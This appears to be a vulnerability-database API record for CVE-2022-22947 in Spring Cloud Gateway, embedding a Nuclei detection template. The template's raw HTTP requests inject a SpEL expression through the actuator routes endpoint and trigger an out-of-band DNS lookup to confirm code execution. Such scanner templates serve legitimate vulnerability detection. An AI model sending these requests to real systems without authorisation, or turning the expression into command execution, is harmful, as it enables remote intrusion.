{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-22947/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-22947/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-22947/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-22947/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-22947/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-22947"},"sightings":{"href":"/api/v1/sightings/cve-2022-22947"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-22947.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-22947\n\ninfo:\n  name: Spring Cloud Gateway Code Injection\n  author: pdteam\n  severity: critical\n  description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.\n  impact: |\n    Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.\n  remediation: |\n    Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947\n    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/\n    - https://github.com/wdahlenburg/spring-gateway-demo\n    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published\n    - https://tanzu.vmware.com/security/cve-2022-22947\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2022-22947\n    cwe-id: CWE-917,CWE-94\n    epss-score: 0.98253\n    epss-percentile: 0.99913\n    cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: vmware\n    product: spring_cloud_gateway\n  tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"predicates\": [\n            {\n              \"name\": \"Path\",\n              \"args\": {\n                \"_genkey_0\": \"/{{randstr}}/**\"\n              }\n            }\n          ],\n          \"filters\": [\n            {\n              \"name\": \"RewritePath\",\n              \"args\": {\n                \"_genkey_0\": \"#{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")}\",\n                \"_genkey_1\": \"/${path}\"\n              }\n            }\n          ],\n          \"uri\": \"{{RootURL}}\",\n          \"order\": 0\n        }\n      - |\n        POST /actuator/gateway/refresh HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"predicate\": \"Paths: [/{{randstr}}], match trailing slash: true\",\n          \"route_id\": \"{{randstr}}\",\n          \"filters\": [\n            \"[[RewritePath #{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")} = /${path}], order = 1]\"\n          ],\n          \"uri\": \"{{RootURL}}\",\n          \"order\": 0\n        }\n      - |\n        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"/routes/{{randstr}}\"\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 201\n# digest: 4b0a00483046022100de39118429b1dcc38b769644d531e4fbcfc88884eaa1ba29c9c894a8400703240221008d1e251ce7f57e49fb760f2188215ee20b4801de8f9bcc9f059cb0ac7e0d403a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-22947"}